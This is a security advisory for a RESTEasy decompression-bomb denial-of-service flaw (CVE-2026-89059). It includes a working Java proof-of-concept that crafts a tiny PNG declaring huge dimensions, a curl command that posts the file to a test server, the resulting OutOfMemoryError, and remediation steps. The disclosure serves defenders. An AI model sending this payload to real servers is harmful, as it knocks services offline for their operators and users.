CVE-2026-89059: Resteasy-core: resteasy: iioimageprovider unbounded image decode (decompression-bomb dos)
RESTEasy IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS)
| Field | Value | |-------|-------| | Component | resteasy-core (RESTEasy / JBoss / Red Hat) | | Affected version | 7.0.2.Final | | Vulnerable classes | org.jboss.resteasy.plugins.providers.IIOImageProvider, IIOImageProviderHelper | | Vulnerability type | CWE-400 Uncontrolled Resource Consumption / CWE-1104 (image-decode bomb) | | Attack vector | Remote, unauthenticated HTTP request body | | Reproduction status | Reproduced (OutOfMemoryError from a 68-byte request) |
Summary
IIOImageProvider.readFrom() decodes an attacker-supplied image/ request body into an IIOImage via ImageReader.readAll(imageIndex, null) — with a null ImageReadParam, no dimension/pixel-count check, and no size limit. A tiny image file declaring enormous pixel dimensions forces allocation of a width × height × bytesPerPixel raster, exhausting the JVM heap. Amplification is effectively unbounded (here 68 bytes → 1.6 GB attempted allocation → OutOfMemoryError).
CVSS 3.1
Base score: 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Root-cause analysis
IIOImageProvider.readFrom (line 118-120) → IIOImageProviderHelper.readImage(entityStream, reader, 0) (line 67-72): java reader.setInput(iis, false); return reader.readAll(imageIndex, null); // null ImageReadParam — no region/subsample/dimension bound The ImageReader is chosen purely from the client MIME type (getImageReadersByMIMEType, line 81). Content-Length is never consulted, and no getWidth()/getHeight() guard precedes decode.
Reproduction
Environment RESTEasy 7.0.2.Final embedded in Undertow, JDK 21, server started with -Xmx128m. Resource: java @Path("/image") public static class ImageResource { @POST @Consumes("image/") @Produces("text/plain") public String img(IIOImage image) { return "decoded " + image.getRenderedImage().getWidth() + "x" + image.getRenderedImage().getHeight(); } }
POC script — craft a 68-byte PNG declaring 20000×20000 (1.6 GB raster; < 2³¹ bytes to avoid int overflow) java // MakePng.java (javac MakePng.java && java MakePng -> /tmp/bomb.png) import java.io.; import java.util.zip.; public class MakePng { static void chunk(ByteArrayOutputStream o,String t,byte[] d)throws Exception{ o.write(new byte[]{(byte)(d.length>>>24),(byte)(d.length>>>16),(byte)(d.length>>>8),(byte)d.length}); ByteArrayOutputStream b=new ByteArrayOutputStream(); b.write(t.getBytes("US-ASCII")); b.write(d); byte[] tc=b.toByteArray(); o.write(tc); CRC32 c=new CRC32(); c.update(tc); long v=c.getValue(); o.write(new byte[]{(byte)(v>>>24),(byte)(v>>>16),(byte)(v>>>8),(byte)v}); } public static void main(String[] a)throws Exception{ int w=20000,h=20000; ByteArrayOutputStream o=new ByteArrayOutputStream(); o.write(new byte[]{(byte)137,80,78,71,13,10,26,10}); ByteArrayOutputStream ihdr=new ByteArrayOutputStream(); ihdr.write(new byte[]{(byte)(w>>>24),(byte)(w>>>16),(byte)(w>>>8),(byte)w}); ihdr.write(new byte[]{(byte)(h>>>24),(byte)(h>>>16),(byte)(h>>>8),(byte)h}); ihdr.write(new byte[]{8,6,0,0,0}); chunk(o,"IHDR",ihdr.toByteArray()); Deflater d=new Deflater(); d.setInput(new byte[16]); d.finish(); byte[] buf=new byte[64]; int n=d.deflate(buf); chunk(o,"IDAT",java.util.Arrays.copyOf(buf,n)); chunk(o,"IEND",new byte[0]); try(FileOutputStream f=new FileOutputStream("/tmp/bomb.png")){ f.write(o.toByteArray()); } } } bash curl -s -o /dev/null -w "status=%{httpcode} time=%{timetotal}s\n" \ -X POST -H "Content-Type: image/png" --data-binary @/tmp/bomb.png http://127.0.0.1:8080/image
Observed output (actual) Server log: Caused by: java.lang.OutOfMemoryError: Java heap space at ... at javax.imageio.ImageReader.readAll(ImageReader.java:1065) at org.jboss.resteasy.plugins.providers.IIOImageProviderHelper.readImage(IIOImageProviderHelper.java:71) at org.jboss.resteasy.plugins.providers.IIOImageProvider.readFrom(IIOImageProvider.java:120) A single 68-byte request forced a ~1.6 GB allocation → OutOfMemoryError. Under concurrency (or on a constrained heap) this exhausts the server heap and denies service.
Impact Unauthenticated, high-amplification memory-exhaustion DoS on any endpoint consuming IIOImage.
Remediation Read the header dimensions first (reader.getWidth(0)/getHeight(0)) and reject images whose pixel count exceeds a configurable maximum before readAll; enforce a maximum request-entity size for image endpoints.
Other sources
A flaw was found in RESTEasy's IIOImageProvider, which decodes attacker-supplied image request bodies without enforcing any limit on the declared image dimensions or pixel count. A remote, unauthenticated attacker can send a small crafted image declaring enormous dimensions to trigger a very large memory allocation, exhausting the JVM heap and resulting in a denial of service.
— MITRE
Affected Software
Event History
Frequently Asked Questions
Which applications are exposed to this issue?
Applications using resteasy-core 7.0.2.Final are exposed where RESTEasy processes attacker-controlled image/* HTTP request bodies through IIOImageProvider or IIOImageProviderHelper.
What does an attacker need to exploit it?
An attacker only needs network access to send an unauthenticated HTTP request containing a crafted image body. No user interaction or prior privileges are required.
How could an attempted exploit appear operationally?
A crafted, very small image can trigger excessive raster allocation during image decoding and result in a JVM OutOfMemoryError. The reported reproduction used a 68-byte request that attempted a 1.6 GB allocation.